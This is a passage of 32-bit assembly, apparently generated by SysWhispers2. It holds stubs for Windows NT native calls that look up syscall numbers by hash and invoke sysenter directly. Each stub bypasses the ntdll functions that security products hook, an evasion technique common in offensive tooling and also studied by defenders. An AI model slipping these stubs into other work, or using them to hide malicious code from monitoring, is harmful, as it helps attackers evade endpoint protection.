mov edx, esp
sysenter
ret
NtAddDriverEntry ENDP
NtAdjustGroupsToken PROC
push ebp
mov ebp, esp
push 01CA80A21h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAdjustGroupsToken ENDP
NtAdjustTokenClaimsAndDeviceGroups PROC
push ebp
mov ebp, esp
push 009910D07h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 16h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAdjustTokenClaimsAndDeviceGroups ENDP
NtAlertResumeThread PROC
push ebp
mov ebp, esp
push 07ADA206Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlertResumeThread ENDP
NtAlertThread PROC
push ebp
mov ebp, esp
push 03C073691h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlertThread ENDP
NtAlertThreadByThreadId PROC
push ebp
mov ebp, esp
push 06FB00378h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlertThreadByThreadId ENDP
NtAllocateLocallyUniqueId PROC
push ebp
mov ebp, esp
push 045B13D2Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAllocateLocallyUniqueId ENDP
NtAllocateReserveObject PROC
push ebp
mov ebp, esp
push 0249E0DC3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAllocateReserveObject ENDP
NtAllocateUserPhysicalPages PROC
push ebp
mov ebp, esp
push 0059C0400h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAllocateUserPhysicalPages ENDP
NtAllocateUuids PROC
push ebp
mov ebp, esp
push 02A91E2CEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAllocateUuids ENDP
NtAllocateVirtualMemoryEx PROC
push ebp
mov ebp, esp
push 0868FC051h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAllocateVirtualMemoryEx ENDP
NtAlpcAcceptConnectPort PROC
push ebp
mov ebp, esp
push 065B71C39h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcAcceptConnectPort ENDP
NtAlpcCancelMessage PROC
push ebp
mov ebp, esp
push 0A396860Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcCancelMessage ENDP
NtAlpcConnectPort PROC
push ebp
mov ebp, esp
push 05E80BFDEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcConnectPort ENDP
NtAlpcConnectPortEx PROC
push ebp
mov ebp, esp
push 0615EDD9Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcConnectPortEx ENDP
NtAlpcCreatePort PROC
push ebp
mov ebp, esp
push 0198C3EDFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcCreatePort ENDP
NtAlpcCreatePortSection PROC
push ebp
mov ebp, esp
push 010CB361Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcCreatePortSection ENDP
NtAlpcCreateResourceReserve PROC
push ebp
mov ebp, esp
push 0DD58DDF4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcCreateResourceReserve ENDP
NtAlpcCreateSectionView PROC
push ebp
mov ebp, esp
push 00D28F143h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcCreateSectionView ENDP
NtAlpcCreateSecurityContext PROC
push ebp
mov ebp, esp
push 036AA2922h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcCreateSecurityContext ENDP
NtAlpcDeletePortSection PROC
push ebp
mov ebp, esp
push 03AA910F1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcDeletePortSection ENDP
NtAlpcDeleteResourceReserve PROC
push ebp
mov ebp, esp
push 0448F2A4Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcDeleteResourceReserve ENDP
NtAlpcDeleteSectionView PROC
push ebp
mov ebp, esp
push 004D07937h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcDeleteSectionView ENDP
NtAlpcDeleteSecurityContext PROC
push ebp
mov ebp, esp
push 07EE2796Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcDeleteSecurityContext ENDP
NtAlpcDisconnectPort PROC
push ebp
mov ebp, esp
push 065307C9Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcDisconnectPort ENDP
NtAlpcImpersonateClientContainerOfPort PROC
push ebp
mov ebp, esp
push 0D172F2DDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcImpersonateClientContainerOfPort ENDP
NtAlpcImpersonateClientOfPort PROC
push ebp
mov ebp, esp
push 024752FEBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcImpersonateClientOfPort ENDP
NtAlpcOpenSenderProcess PROC
push ebp
mov ebp, esp
push 07DA3440Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcOpenSenderProcess ENDP
NtAlpcOpenSenderThread PROC
push ebp
mov ebp, esp
push 069496FEBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcOpenSenderThread ENDP
NtAlpcQueryInformation PROC
push ebp
mov ebp, esp
push 0D54CD5DEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcQueryInformation ENDP
NtAlpcQueryInformationMessage PROC
push ebp
mov ebp, esp
push 03D1E2E8Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcQueryInformationMessage ENDP
NtAlpcRevokeSecurityContext PROC
push ebp
mov ebp, esp
push 0922C6144h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcRevokeSecurityContext ENDP
NtAlpcSendWaitReceivePort PROC
push ebp
mov ebp, esp
push 0FD76E6F9h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcSendWaitReceivePort ENDP
NtAlpcSetInformation PROC
push ebp
mov ebp, esp
push 0E076E2DBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAlpcSetInformation ENDP
NtAreMappedFilesTheSame PROC
push ebp
mov ebp, esp
push 0F2340C6Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAreMappedFilesTheSame ENDP
NtAssignProcessToJobObject PROC
push ebp
mov ebp, esp
push 0755F4DF3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAssignProcessToJobObject ENDP
NtAssociateWaitCompletionPacket PROC
push ebp
mov ebp, esp
push 00FA93506h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAssociateWaitCompletionPacket ENDP
NtCallEnclave PROC
push ebp
mov ebp, esp
push 09B3FF9B5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCallEnclave ENDP
NtCancelIoFileEx PROC
push ebp
mov ebp, esp
push 0504BA231h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelIoFileEx ENDP
NtCancelSynchronousIoFile PROC
push ebp
mov ebp, esp
push 002BB8AACh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelSynchronousIoFile ENDP
NtCancelTimer2 PROC
push ebp
mov ebp, esp
push 0BBBF56A1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelTimer2 ENDP
NtCancelWaitCompletionPacket PROC
push ebp
mov ebp, esp
push 099BCBB22h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelWaitCompletionPacket ENDP
NtCommitComplete PROC
push ebp
mov ebp, esp
push 006A3000Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCommitComplete ENDP
NtCommitEnlistment PROC
push ebp
mov ebp, esp
push 05FC97E7Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCommitEnlistment ENDP
NtCommitRegistryTransaction PROC
push ebp
mov ebp, esp
push 0144FF61Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCommitRegistryTransaction ENDP
NtCommitTransaction PROC
push ebp
mov ebp, esp
push 0408A4217h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCommitTransaction ENDP
NtCompactKeys PROC
push ebp
mov ebp, esp
push 0B315A882h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCompactKeys ENDP
NtCompareObjects PROC
push ebp
mov ebp, esp
push 0041B70C3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCompareObjects ENDP
NtCompareSigningLevels PROC
push ebp
mov ebp, esp
push 0248A241Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCompareSigningLevels ENDP
NtCompareTokens PROC
push ebp
mov ebp, esp
push 017BB0CD3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCompareTokens ENDP
NtCompleteConnectPort PROC
push ebp
mov ebp, esp
push 02E71DDFEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCompleteConnectPort ENDP
NtCompressKey PROC
push ebp
mov ebp, esp
push 09700ACBCh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCompressKey ENDP
NtConnectPort PROC
push ebp
mov ebp, esp
push 0EA8DC112h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtConnectPort ENDP
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter PROC
push ebp
mov ebp, esp
push 07FF6091Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter ENDP
NtCreateDebugObject PROC
push ebp
mov ebp, esp
push 0BCB7DC63h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateDebugObject ENDP
NtCreateDirectoryObject PROC
push ebp
mov ebp, esp
push 0EC58C48Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateDirectoryObject ENDP
NtCreateDirectoryObjectEx PROC
push ebp
mov ebp, esp
push 024D4E78Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateDirectoryObjectEx ENDP
NtCreateEnclave PROC
push ebp
mov ebp, esp
push 0CE2EA924h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateEnclave ENDP
NtCreateEnlistment PROC
push ebp
mov ebp, esp
push 00A410BD7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateEnlistment ENDP
NtCreateEventPair PROC
push ebp
mov ebp, esp
push 004B04C65h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateEventPair ENDP
NtCreateIRTimer PROC
push ebp
mov ebp, esp
push 033A00518h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateIRTimer ENDP
NtCreateIoCompletion PROC
push ebp
mov ebp, esp
push 03AA41A2Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateIoCompletion ENDP
NtCreateJobObject PROC
push ebp
mov ebp, esp
push 008A7183Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateJobObject ENDP
NtCreateJobSet PROC
push ebp
mov ebp, esp
push 0BD398F86h ; Load function hash into ECX.
